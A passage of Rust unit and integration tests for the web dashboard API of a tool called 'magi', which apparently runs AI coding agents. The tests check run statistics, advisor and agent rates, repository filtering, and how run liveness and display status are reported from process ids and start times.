14016        assert_eq!(
14017            stats.json()["runs_unreadable"],
14018            health.json()["runs_unreadable"],
14019            "the dashboard and /api/health must never disagree about how many \
14020             runs could not be read"
14021        );
14022    }
14023
14024    #[tokio::test]
14025    async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
14026        let f = Fixture::start().await;
14027        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
14028        write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
14029        write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
14030
14031        let totals = &f.get("/api/stats").await.json()["totals"];
14032        assert_eq!(totals["runs"], 3);
14033        assert_eq!(totals["merged"], 1);
14034        assert_eq!(totals["stalled"], 1);
14035        assert_eq!(totals["in_progress"], 1);
14036        // A stalled run must never read as blocked/merged/ready - it is its
14037        // own bucket, not folded into a "decided" one.
14038        assert_eq!(totals["blocked"], 0);
14039        assert_eq!(totals["ready"], 0);
14040    }
14041
14042    #[tokio::test]
14043    async fn stats_advisors_report_proposals_and_reflection() {
14044        use crate::advise::{Advice, AdvisorRecord, Reflection};
14045        use crate::verdict::Proposal;
14046
14047        let f = Fixture::start().await;
14048        let mut state = RunState::new(
14049            PathBuf::from("/repo/magi"),
14050            "main".to_owned(),
14051            "0123456789abcdef".to_owned(),
14052            "task".to_owned(),
14053            Config::default(),
14054        );
14055        state.id = "20260902-140501-a".to_owned();
14056        state.status = RunStatus::Merged;
14057        state.advice = Some(Advice {
14058            records: vec![
14059                AdvisorRecord {
14060                    seat: "advisor-1".to_owned(),
14061                    agent: "alpha".to_owned(),
14062                    proposal: Some(Proposal {
14063                        approach: "do it".to_owned(),
14064                        key_tradeoff: "speed over memory".to_owned(),
14065                        risks: Vec::new(),
14066                        touches: Vec::new(),
14067                        why_not_naive: "breaks under load".to_owned(),
14068                    }),
14069                    error: None,
14070                    duration_ms: 0,
14071                    reflection: Reflection::Strong,
14072                },
14073                AdvisorRecord {
14074                    seat: "advisor-2".to_owned(),
14075                    agent: "alpha".to_owned(),
14076                    proposal: None,
14077                    error: Some("timed out".to_owned()),
14078                    duration_ms: 0,
14079                    reflection: Reflection::Absent,
14080                },
14081            ],
14082            synthesis: Some("blended brief".to_owned()),
14083        });
14084        let dir = f.runs().join(&state.id);
14085        std::fs::create_dir_all(&dir).expect("run dir");
14086        std::fs::write(
14087            dir.join("run.json"),
14088            serde_json::to_string_pretty(&state).expect("serialize run"),
14089        )
14090        .expect("write run.json");
14091
14092        // `alpha` is in no roster here; this test is about the rates.
14093        let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
14094        let alpha = advisors
14095            .as_array()
14096            .expect("an array")
14097            .iter()
14098            .find(|a| a["agent"] == "alpha")
14099            .expect("alpha row");
14100        assert_eq!(alpha["seated"], 2);
14101        assert_eq!(alpha["proposed"], 1);
14102        assert_eq!(alpha["absent"], 1);
14103        assert_eq!(alpha["strong"], 1);
14104        assert_eq!(alpha["faint"], 0);
14105        assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
14106    }
14107
14108    #[tokio::test]
14109    async fn stats_hides_agents_outside_the_roster_unless_all() {
14110        use crate::run::Candidate;
14111        let repo = TempDir::new().expect("repo dir");
14112        std::fs::write(
14113            repo.path().join("magi.toml"),
14114            "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
14115        )
14116        .expect("magi.toml");
14117        let f = Fixture::with_repo(repo.path().to_path_buf()).await;
14118        let mut state = RunState::new(
14119            PathBuf::from("/repo/magi"),
14120            "main".to_owned(),
14121            "0123456789abcdef".to_owned(),
14122            "task".to_owned(),
14123            Config::default(),
14124        );
14125        state.id = "20260902-140501-a".to_owned();
14126        state.status = RunStatus::Merged;
14127        for (label, agent) in [('A', "keep"), ('B', "retired")] {
14128            let mut c: Candidate = serde_json::from_value(serde_json::json!({
14129                "index": 0, "label": label.to_string(), "agent": agent,
14130                "branch": "b", "worktree": "/w",
14131            }))
14132            .expect("candidate");
14133            c.label = label;
14134            state.candidates.push(c);
14135        }
14136        let dir = f.runs().join(&state.id);
14137        std::fs::create_dir_all(&dir).expect("run dir");
14138        std::fs::write(
14139            dir.join("run.json"),
14140            serde_json::to_string_pretty(&state).expect("serialize run"),
14141        )
14142        .expect("write run.json");
14143
14144        let agents_of = |v: &serde_json::Value| -> Vec<String> {
14145            v["agents"]
14146                .as_array()
14147                .expect("array")
14148                .iter()
14149                .map(|a| a["agent"].as_str().unwrap().to_owned())
14150                .collect()
14151        };
14152        let hidden = f.get("/api/stats").await.json();
14153        assert_eq!(agents_of(&hidden), ["keep"]);
14154        assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
14155        assert_eq!(hidden["totals"]["runs"], 1);
14156
14157        let all = f.get("/api/stats?all=true").await.json();
14158        assert_eq!(agents_of(&all).len(), 2);
14159        assert_eq!(all["retired_hidden"], serde_json::json!([]));
14160        // Verify competitive and solo keys exist on agent entries
14161        let keep_agent = all["agents"]
14162            .as_array()
14163            .unwrap()
14164            .iter()
14165            .find(|a| a["agent"] == "keep")
14166            .unwrap();
14167        assert_eq!(keep_agent["competitive_entered"], 1);
14168        assert_eq!(keep_agent["competitive_wins"], 0);
14169        assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
14170        assert_eq!(keep_agent["solo_entered"], 0);
14171        assert_eq!(keep_agent["solo_adopted"], 0);
14172        assert!(keep_agent["solo_adoption_rate"].is_null());
14173    }
14174
14175    #[tokio::test]
14176    async fn stats_release_bumps_split_clean_from_attention() {
14177        use crate::run::ReleaseBump;
14178
14179        let f = Fixture::start().await;
14180
14181        let mut clean = RunState::new(
14182            PathBuf::from("/repo/magi"),
14183            "main".to_owned(),
14184            "0123456789abcdef".to_owned(),
14185            "task".to_owned(),
14186            Config::default(),
14187        );
14188        clean.id = "20260902-140501-a".to_owned();
14189        clean.status = RunStatus::Merged;
14190        clean.release_bump = Some(ReleaseBump {
14191            pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
14192            version: Some("1.0.0".to_owned()),
14193            automerge_enabled: true,
14194            merged_directly: false,
14195            local: false,
14196            release: None,
14197            problem: None,
14198            action_required: None,
14199        });
14200
14201        let mut blocked = RunState::new(
14202            PathBuf::from("/repo/magi"),
14203            "main".to_owned(),
14204            "0123456789abcdef".to_owned(),
14205            "task".to_owned(),
14206            Config::default(),
14207        );
14208        blocked.id = "20260902-140502-b".to_owned();
14209        blocked.status = RunStatus::Merged;
14210        blocked.release_bump = Some(ReleaseBump {
14211            pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
14212            version: Some("1.0.1".to_owned()),
14213            automerge_enabled: false,
14214            merged_directly: false,
14215            local: false,
14216            release: None,
14217            problem: Some("checks red".to_owned()),
14218            action_required: Some("look at the PR".to_owned()),
14219        });
14220
14221        for state in [&clean, &blocked] {
14222            let dir = f.runs().join(&state.id);
14223            std::fs::create_dir_all(&dir).expect("run dir");
14224            std::fs::write(
14225                dir.join("run.json"),
14226                serde_json::to_string_pretty(state).expect("serialize run"),
14227            )
14228            .expect("write run.json");
14229        }
14230
14231        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
14232        assert_eq!(bumps["merged"], 2);
14233        assert_eq!(bumps["recorded"], 2);
14234        assert_eq!(bumps["pr_opened"], 2);
14235        assert_eq!(bumps["automerge_enabled"], 1);
14236        assert_eq!(bumps["needs_attention"], 1);
14237        assert_eq!(bumps["clean"], 1);
14238        assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
14239        assert_eq!(bumps["attention_rate"]["pct"], 50.0);
14240    }
14241
14242    #[tokio::test]
14243    async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
14244        let f = Fixture::start().await;
14245        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
14246
14247        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
14248        assert_eq!(bumps["merged"], 1);
14249        assert_eq!(bumps["recorded"], 0);
14250        // `merged` is nonzero, so coverage still reads as a real 0%, not an
14251        // absent rate - "0 of 1 merged runs" is a fact, not a missing value.
14252        assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
14253        // `pr_opened` and `recorded` are both zero here, so these rates have
14254        // no denominator to compute from and must be null.
14255        assert_eq!(bumps["automerge_rate"], Value::Null);
14256        assert_eq!(bumps["attention_rate"], Value::Null);
14257    }
14258
14259    #[tokio::test]
14260    async fn stats_queue_counts_come_from_the_live_queue() {
14261        let f = Fixture::start().await;
14262        let q = f.queue();
14263        let mut queued = Task::new(
14264            "queued task".to_owned(),
14265            "do it".to_owned(),
14266            PathBuf::from("/repo"),
14267            Source::Human,
14268        );
14269        q.put(&mut queued).expect("put queued");
14270        let mut held = Task::new(
14271            "held task".to_owned(),
14272            "do it later".to_owned(),
14273            PathBuf::from("/repo"),
14274            Source::Human,
14275        );
14276        held.hold_machine(Some("out of attempts".to_owned()));
14277        q.put(&mut held).expect("put held");
14278
14279        let queue = f.get("/api/stats").await.json()["queue"].clone();
14280        assert_eq!(queue["queued"], 1);
14281        assert_eq!(queue["held"], 1);
14282        assert_eq!(queue["running"], 0);
14283        assert_eq!(queue["done"], 0);
14284        assert_eq!(queue["failed"], 0);
14285        assert_eq!(queue["blocked"], 0);
14286    }
14287
14288    #[tokio::test]
14289    async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
14290        let f = Fixture::start().await;
14291        let stats = f.get("/api/stats").await;
14292        assert_eq!(stats.status, 200);
14293        assert_eq!(stats.json()["totals"]["runs"], 0);
14294        assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
14295        assert_eq!(stats.json()["runs_unreadable"], 0);
14296        assert!(stats.json()["agents"].as_array().unwrap().is_empty());
14297        assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
14298        assert!(stats.json()["repos"].as_array().unwrap().is_empty());
14299        assert_eq!(stats.json()["repo"], Value::Null);
14300    }
14301
14302    #[tokio::test]
14303    async fn stats_lists_every_repository_with_runs_recorded() {
14304        let f = Fixture::start().await;
14305        write_run_repo(
14306            &f.runs(),
14307            "20260902-140501-a",
14308            RunStatus::Merged,
14309            "/repos/a",
14310        );
14311        write_run_repo(
14312            &f.runs(),
14313            "20260902-140502-b",
14314            RunStatus::Merged,
14315            "/repos/a",
14316        );
14317        write_run_repo(
14318            &f.runs(),
14319            "20260902-140503-c",
14320            RunStatus::Blocked,
14321            "/repos/b",
14322        );
14323
14324        let stats = f.get("/api/stats").await;
14325        assert_eq!(stats.status, 200);
14326        // Unfiltered - the aggregate across both repositories.
14327        assert_eq!(stats.json()["totals"]["runs"], 3);
14328        assert_eq!(stats.json()["repo"], Value::Null);
14329
14330        let repos = stats.json()["repos"].clone();
14331        let repos = repos.as_array().unwrap();
14332        assert_eq!(repos.len(), 2);
14333        // Busiest (2 runs) first.
14334        assert_eq!(repos[0]["repo"], "/repos/a");
14335        assert_eq!(repos[0]["name"], "a");
14336        assert_eq!(repos[0]["runs"], 2);
14337        assert_eq!(repos[1]["repo"], "/repos/b");
14338        assert_eq!(repos[1]["runs"], 1);
14339    }
14340
14341    #[tokio::test]
14342    async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
14343        let f = Fixture::start().await;
14344        write_run_repo(
14345            &f.runs(),
14346            "20260902-140501-a",
14347            RunStatus::Merged,
14348            "/repos/a",
14349        );
14350        write_run_repo(
14351            &f.runs(),
14352            "20260902-140502-b",
14353            RunStatus::Blocked,
14354            "/repos/b",
14355        );
14356
14357        let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
14358        assert_eq!(stats.status, 200);
14359        assert_eq!(stats.json()["totals"]["runs"], 1);
14360        assert_eq!(stats.json()["totals"]["merged"], 1);
14361        assert_eq!(stats.json()["repo"], "/repos/a");
14362        // The repository list itself is unaffected by the filter - it is
14363        // what a client switches repositories from.
14364        assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
14365        // runs_unreadable is a whole-workload count, never scoped to the
14366        // selected repository - see StatsView::runs_unreadable's own doc.
14367        assert_eq!(stats.json()["runs_unreadable"], 0);
14368    }
14369
14370    #[tokio::test]
14371    async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
14372        let f = Fixture::start().await;
14373        write_run_repo(
14374            &f.runs(),
14375            "20260902-140501-a",
14376            RunStatus::Merged,
14377            "/repos/a",
14378        );
14379        write_run_repo(
14380            &f.runs(),
14381            "20260902-140502-b",
14382            RunStatus::Merged,
14383            "/repos/b",
14384        );
14385
14386        for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
14387            let json = f.get(uri).await.json();
14388            let daily = json["daily"].as_array().expect("daily is an array");
14389            assert_eq!(daily.len(), 30);
14390            let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
14391            let mut sorted = dates.clone();
14392            sorted.sort();
14393            assert_eq!(dates, sorted);
14394            for d in daily {
14395                assert_eq!(
14396                    d["merged"].as_u64().unwrap()
14397                        + d["ready"].as_u64().unwrap()
14398                        + d["other"].as_u64().unwrap(),
14399                    d["runs"].as_u64().unwrap()
14400                );
14401            }
14402            assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
14403        }
14404    }
14405
14406    #[tokio::test]
14407    async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
14408        let f = Fixture::start().await;
14409        write_run_repo(
14410            &f.runs(),
14411            "20260902-140501-a",
14412            RunStatus::Merged,
14413            "/repos/a",
14414        );
14415
14416        let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
14417        assert_eq!(stats.status, 404);
14418    }
14419
14420    #[tokio::test]
14421    async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
14422        let f = Fixture::start().await;
14423        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
14424
14425        let summary = f.get("/api/runs").await.json();
14426        let row = &summary[0];
14427        assert_eq!(row["short"], "a1b2");
14428        assert_eq!(row["status"], "ready");
14429        assert_eq!(row["done"], true);
14430        assert_eq!(row["title"], "Add a web UI");
14431        assert_eq!(row["repo_name"], "magi");
14432        assert_eq!(row["judges"], 3);
14433        assert_eq!(row["winner"], Value::Null);
14434        assert_eq!(row["reviews"], 0);
14435
14436        // The short id resolves, and the detail route is the state itself, not
14437        // a projection of it: the UI reads fields the summary does not carry.
14438        let detail = f.get("/api/runs/a1b2").await;
14439        assert_eq!(detail.status, 200);
14440        assert_eq!(detail.json()["base_branch"], "main");
14441        assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
14442    }
14443
14444    /// `status: "ready"` alone cannot tell a run still headed for a landing
14445    /// (a PR closed without merging, say) apart from one `[merge] mode =
14446    /// "none"` left unmerged for good — the confusion the operator flagged
14447    /// after the CLI report already grew a `not landed — nothing to do by
14448    /// design` line for exactly this case (`report.rs`). Both the list route
14449    /// and the detail route must carry a flag the phone can key on instead of
14450    /// re-deriving it from `status` + `merge.mode` itself.
14451    #[tokio::test]
14452    async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
14453        let f = Fixture::start().await;
14454
14455        let mut none_run = RunState::new(
14456            PathBuf::from("/repo/magi"),
14457            "main".to_owned(),
14458            "0123456789abcdef".to_owned(),
14459            "Add a web UI".to_owned(),
14460            Config::default(),
14461        );
14462        none_run.id = "20260902-140503-none".to_owned();
14463        none_run.status = RunStatus::Ready;
14464        none_run.merge = Some(crate::run::MergeOutcome {
14465            mode: crate::config::MergeMode::None,
14466            ok: true,
14467            detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
14468            empty: false,
14469        });
14470        write_state(&f.runs(), &none_run);
14471
14472        let mut pr_run = RunState::new(
14473            PathBuf::from("/repo/magi"),
14474            "main".to_owned(),
14475            "0123456789abcdef".to_owned(),
14476            "Add a web UI".to_owned(),
14477            Config::default(),
14478        );
14479        pr_run.id = "20260902-140504-prcl".to_owned();
14480        pr_run.status = RunStatus::Ready;
14481        pr_run.merge = Some(crate::run::MergeOutcome {
14482            mode: crate::config::MergeMode::Pr,
14483            ok: false,
14484            detail: "https://example.com/pr/1 was closed without merging".to_owned(),
14485            empty: false,
14486        });
14487        write_state(&f.runs(), &pr_run);
14488
14489        let summary = f.get("/api/runs").await.json();
14490        let rows: std::collections::HashMap<&str, &Value> = summary
14491            .as_array()
14492            .expect("an array")
14493            .iter()
14494            .map(|r| (r["id"].as_str().expect("an id"), r))
14495            .collect();
14496        assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
14497        assert_eq!(
14498            rows[none_run.id.as_str()]["unmerged_by_design"],
14499            true,
14500            "a mode-none Ready must be flagged in the list"
14501        );
14502        assert_eq!(
14503            rows[pr_run.id.as_str()]["unmerged_by_design"],
14504            false,
14505            "a Ready reached by a closed pull request is a different case"
14506        );
14507
14508        let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
14509        assert_eq!(none_detail["status"], "ready");
14510        assert_eq!(none_detail["unmerged_by_design"], true);
14511
14512        let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
14513        assert_eq!(pr_detail["unmerged_by_design"], false);
14514    }
14515
14516    /// `RunState::active` is only ever cleared by whoever populated it, so the
14517    /// detail route also has to say whether a daemon is actually still
14518    /// driving this run right now — otherwise a seat from a killed process's
14519    /// last wave would read as live forever.
14520    #[tokio::test]
14521    async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
14522        let f = Fixture::start().await;
14523        // Matches `write_daemon`'s hard-coded `current.run`, so the second
14524        // half of this test can claim the daemon is working on it without a
14525        // second helper.
14526        let id = "20260902-140502-bbbb";
14527        let mut state = RunState::new(
14528            PathBuf::from("/repo/magi"),
14529            "main".to_owned(),
14530            "0123456789abcdef".to_owned(),
14531            "Add a web UI".to_owned(),
14532            Config::default(),
14533        );
14534        state.id = id.to_owned();
14535        state.status = RunStatus::Judging;
14536        state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
14537        let dir = f.runs().join(id);
14538        std::fs::create_dir_all(&dir).expect("run dir");
14539        std::fs::write(
14540            dir.join("run.json"),
14541            serde_json::to_string_pretty(&state).expect("serialize run"),
14542        )
14543        .expect("write run.json");
14544
14545        // No daemon.json at all, and no `driver_pid` recorded either (this
14546        // state was written directly, never through `execute()`): there is
14547        // nothing to confirm either way, so the route must say `"unknown"` —
14548        // never `"dead"`, which is exactly the false diagnosis a manual `magi
14549        // run` used to get from this route before `driver_pid` existed.
14550        let cold = f.get(&format!("/api/runs/{id}")).await.json();
14551        assert_eq!(cold["active"]["judge-2"]["node"], "judge");
14552        assert_eq!(cold["live"], "unknown", "{cold}");
14553
14554        // A fresh heartbeat naming exactly this run: the same entry now reads
14555        // as confirmed, not merely recorded.
14556        write_daemon(f.home.path(), Timestamp::now());
14557        let warm = f.get(&format!("/api/runs/{id}")).await.json();
14558        assert_eq!(warm["live"], "live", "{warm}");
14559    }
14560
14561    /// Where a run came from is shown, and a run written before origins were
14562    /// recorded (schema 12, no `origin` key) stays readable and says so.
14563    #[tokio::test]
14564    async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
14565        let f = Fixture::start().await;
14566        let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
14567            let mut state = RunState::new(
14568                PathBuf::from("/repo/magi"),
14569                "main".to_owned(),
14570                "0123456789abcdef".to_owned(),
14571                "Add a web UI".to_owned(),
14572                Config::default(),
14573            );
14574            state.id = id.to_owned();
14575            state.origin = origin;
14576            let mut value = serde_json::to_value(&state).expect("serialize run");
14577            if let Some(schema) = schema {
14578                value["schema"] = serde_json::json!(schema);
14579                value.as_object_mut().unwrap().remove("origin");
14580            }
14581            let dir = f.runs().join(id);
14582            std::fs::create_dir_all(&dir).expect("run dir");
14583            std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
14584        };
14585        write(
14586            "20260930-092817-ec34",
14587            Some(crate::run::Origin::from_agent_env(
14588                Some(("4a7b".to_owned(), "chat".to_owned())),
14589                None,
14590            )),
14591            None,
14592        );
14593        write("20260930-092817-0ld1", None, Some(12));
14594
14595        let new = f.get("/api/runs/20260930-092817-ec34").await.json();
14596        assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
14597        assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
14598
14599        let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
14600        assert_eq!(
14601            old["origin_label"], "origin unknown (started before origins were recorded)",
14602            "{old}"
14603        );
14604        assert!(old["origin"].is_null(), "{old}");
14605
14606        let list = f.get("/api/runs").await.json();
14607        let labels: Vec<_> = list
14608            .as_array()
14609            .unwrap()
14610            .iter()
14611            .map(|r| r["origin_label"].as_str().unwrap().to_owned())
14612            .collect();
14613        assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
14614    }
14615
14616    /// The gap `driver_pid` exists to close: a manual `magi run` / `magi
14617    /// review` claims no daemon at all, so before this field existed the
14618    /// route above read it as `"dead"` — indistinguishable from a run a
14619    /// killed process abandoned — the whole time it was genuinely still
14620    /// answering. With a live pid recorded, it must read `"live"` even
14621    /// though no daemon claims it.
14622    #[tokio::test]
14623    async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
14624        let f = Fixture::start().await;
14625        let id = "20260922-090000-cccc";
14626        let mut state = RunState::new(
14627            PathBuf::from("/repo/magi"),
14628            "main".to_owned(),
14629            "0123456789abcdef".to_owned(),
14630            "Review only".to_owned(),
14631            Config::default(),
14632        );
14633        state.id = id.to_owned();
14634        state.status = RunStatus::Reviewing;
14635        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
14636        // This test process's own pid: guaranteed alive, and never needs a
14637        // real daemon or a second process to prove it. The matching start-time
14638        // marker is what `liveness` now requires alongside a live pid — see
14639        // `RunState::driver_started_at`'s own doc for why the pid alone is
14640        // not enough.
14641        state.driver_pid = Some(std::process::id());
14642        state.driver_started_at = Some(
14643            crate::proc::process_started_at(std::process::id())
14644                .expect("this test process's own start time must be queryable"),
14645        );
14646        let dir = f.runs().join(id);
14647        std::fs::create_dir_all(&dir).expect("run dir");
14648        std::fs::write(
14649            dir.join("run.json"),
14650            serde_json::to_string_pretty(&state).expect("serialize run"),
14651        )
14652        .expect("write run.json");
14653
14654        let detail = f.get(&format!("/api/runs/{id}")).await.json();
14655        assert_eq!(detail["live"], "live", "{detail}");
14656    }
14657
14658    /// A killed manual run's pid can be handed to a wholly unrelated later
14659    /// process — a live query on `driver_pid` alone would read this as
14660    /// `"live"`, exactly the false positive `driver_started_at` exists to
14661    /// catch (see that field's own doc, and `RunState::liveness_with`'s
14662    /// pid-reuse test). The route must read it as `"dead"`, not `"live"`.
14663    #[tokio::test]
14664    async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
14665        let f = Fixture::start().await;
14666        let id = "20260922-090100-dddd";
14667        let mut state = RunState::new(
14668            PathBuf::from("/repo/magi"),
14669            "main".to_owned(),
14670            "0123456789abcdef".to_owned(),
14671            "Review only".to_owned(),
14672            Config::default(),
14673        );
14674        state.id = id.to_owned();
14675        state.status = RunStatus::Reviewing;
14676        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
14677        // This test process's own pid really is alive, but the marker
14678        // recorded here does not match what it actually started at —
14679        // standing in for the pid having since been reused by a different
14680        // process than the one that wrote `run.json`.
14681        state.driver_pid = Some(std::process::id());
14682        state.driver_started_at = Some("1".to_owned());
14683        let dir = f.runs().join(id);
14684        std::fs::create_dir_all(&dir).expect("run dir");
14685        std::fs::write(
14686            dir.join("run.json"),
14687            serde_json::to_string_pretty(&state).expect("serialize run"),
14688        )
14689        .expect("write run.json");
14690
14691        let detail = f.get(&format!("/api/runs/{id}")).await.json();
14692        assert_eq!(detail["live"], "dead", "{detail}");
14693    }
14694
14695    /// The deck's competition list is normally the first place an operator
14696    /// sees an old run. It must carry the same process verdict as detail, or
14697    /// its `reviewing` chip keeps falsely advertising a dead run as in flight.
14698    #[test]
14699    fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
14700        let mk = |id: &str, pid: Option<u32>| {
14701            let mut s = RunState::new(
14702                PathBuf::from("/repo/magi"),
14703                "main".to_owned(),
14704                "0123456789abcdef".to_owned(),
14705                "Add a web UI".to_owned(),
14706                Config::default(),
14707            );
14708            s.id = id.to_owned();
14709            s.driver_pid = pid;
14710            s.driver_started_at = Some("1790000000".to_owned());
14711            s
14712        };
14713        let states = vec![
14714            mk("20260902-140502-aaaa", Some(77)),
14715            mk("20260902-140502-bbbb", Some(77)),
14716            mk("20260902-140502-cccc", Some(77)),
14717            mk("20260902-140502-dddd", None),
14718        ];
14719        let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
14720        let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
14721        let sup: HashMap<String, String> = [(
14722            "20260902-140502-aaaa".to_owned(),
14723            "20260902-140502-cccc".to_owned(),
14724        )]
14725        .into();
14726
14727        let status_calls = std::cell::Cell::new(0);
14728        let identity_calls = std::cell::Cell::new(0);
14729        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
14730            |_| {
14731                status_calls.set(status_calls.get() + 1);
14732                Some(true)
14733            },
14734            |_| {
14735                identity_calls.set(identity_calls.get() + 1);
14736                Some("1790000000".to_owned())
14737            },
14738        ));
14739        let rows = summarize(
14740            states,
14741            &open,
14742            &claimed,
14743            &sup,
14744            |p| probe.borrow_mut().status(p),
14745            |p| probe.borrow_mut().started_at(p),
14746        );
14747
14748        assert_eq!(status_calls.get(), 1, "one pid, one status query");
14749        assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
14750        assert_eq!(rows.len(), 4);
14751        assert!(!rows[0].waiting && rows[1].waiting);
14752        assert_eq!(rows[0].live, crate::run::Liveness::Live);
14753        assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
14754        assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
14755        assert_eq!(rows[1].superseded_by, None);
14756    }
14757
14758    #[test]
14759    fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
14760        let mut state = RunState::new(
14761            PathBuf::from("/repo/magi"),
14762            "main".to_owned(),
14763            "0123456789abcdef".to_owned(),
14764            "Review only".to_owned(),
14765            Config::default(),
14766        );
14767        state.id = "20260922-090200-dead".to_owned();
14768        state.status = RunStatus::Reviewing;
14769        let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
14770            .expect("serialize list row");
14771        assert_eq!(row["status"], "reviewing");
14772        assert_eq!(row["display_status"], "stale");
14773        assert_eq!(row["live"], "dead", "{row}");
14774        assert!(!row["done"].as_bool().unwrap());
14775    }
14776
14777    #[test]
14778    fn run_display_status_distinguishes_park_crash_and_owner_wait() {
14779        use crate::run::Liveness::{Dead, Live, Unknown};
14780        let mut state = RunState::new(
14781            PathBuf::from("/repo/magi"),
14782            "main".to_owned(),
14783            "abc".to_owned(),
14784            "Review only".to_owned(),
14785            Config::default(),
14786        );
14787        for (status, parked, node, waiting, live, expected) in [
14788            (
14789                RunStatus::Judging,
14790                true,
14791                "github-text",
14792                false,
14793                Dead,
14794                "parked",
14795            ),
14796            (RunStatus::Judging, false, "park", false, Dead, "stale"),
14797            (RunStatus::Judging, false, "judge", false, Dead, "stale"),
14798            (
14799                RunStatus::Judging,
14800                true,
14801                "github-text",
14802                true,
14803                Dead,
14804                "waiting",
14805            ),
14806            (
14807                RunStatus::Judging,
14808                false,
14809                "github-text",
14810                true,
14811                Dead,
14812                "waiting",
14813            ),
14814            (
14815                RunStatus::Judging,
14816                false,
14817                "github-text",
14818                false,
14819                Dead,
14820                "stale",
14821            ),
14822            (RunStatus::Judging, false, "resume", false, Dead, "stale"),
14823            (RunStatus::Judging, true, "park", false, Live, "judging"),
14824            (RunStatus::Judging, true, "park", false, Unknown, "judging"),
14825            (RunStatus::Merged, true, "park", false, Dead, "merged"),
14826            (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
14827            (
14828                RunStatus::Blocked,
14829                true,
14830                "github-text",
14831                true,
14832                Dead,
14833                "waiting",
14834            ),
14835        ] {
14836            state.status = status;
14837            state.parked = parked;
14838            state.events.clear();
14839            state.event(
14840                "park",
14841                "an earlier park does not determine the latest state",
14842            );
14843            state.event(node, "message is not used for classification");
14844            let summary = RunSummary::of(&state, waiting, live);
14845            let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
14846            assert_eq!(
14847                summary.display_status, expected,
14848                "{status:?}/{node}/{live:?}"
14849            );
14850            assert_eq!(detail.display_status, summary.display_status);
14851            assert_eq!(detail.waiting, summary.waiting);
14852        }
14853        state.status = RunStatus::Judging;
14854        state.parked = false;
14855        state.events.clear();
14856        assert_eq!(run_display_status(&state, false, Dead), "stale");
14857    }
14858
14859    #[tokio::test]
14860    async fn run_display_status_routes_share_the_open_question_store() {
14861        let f = Fixture::start().await;
14862        let id = "20260922-090200-abcd";
14863        write_run(&f.runs(), id, RunStatus::Judging);
14864        let mut state = read_run(&f.runs(), id).unwrap();
14865        state.parked = true;
14866        state.driver_exited = true;
14867        state.event("github-text", "waiting for the owner");
14868        state.save_under(f.home.path()).unwrap();
14869        let store = f.questions();
14870        let mut q = Question::new(
14871            id.to_owned(),
14872            "github-text".to_owned(),
14873            "owner".to_owned(),
14874            "Approve the text?".to_owned(),
14875            String::new(),
14876            Vec::new(),
14877        );
14878        store.put(&mut q).unwrap();
14879        for expected in ["waiting", "parked"] {
14880            let list = f.get("/api/runs").await.json();
14881            let detail = f.get(&format!("/api/runs/{id}")).await.json();
14882            assert_eq!(list[0]["display_status"], expected);
14883            assert_eq!(detail["display_status"], expected);
14884            assert_eq!(detail["waiting"], list[0]["waiting"]);
14885            q.status = ask::QuestionStatus::Answered;
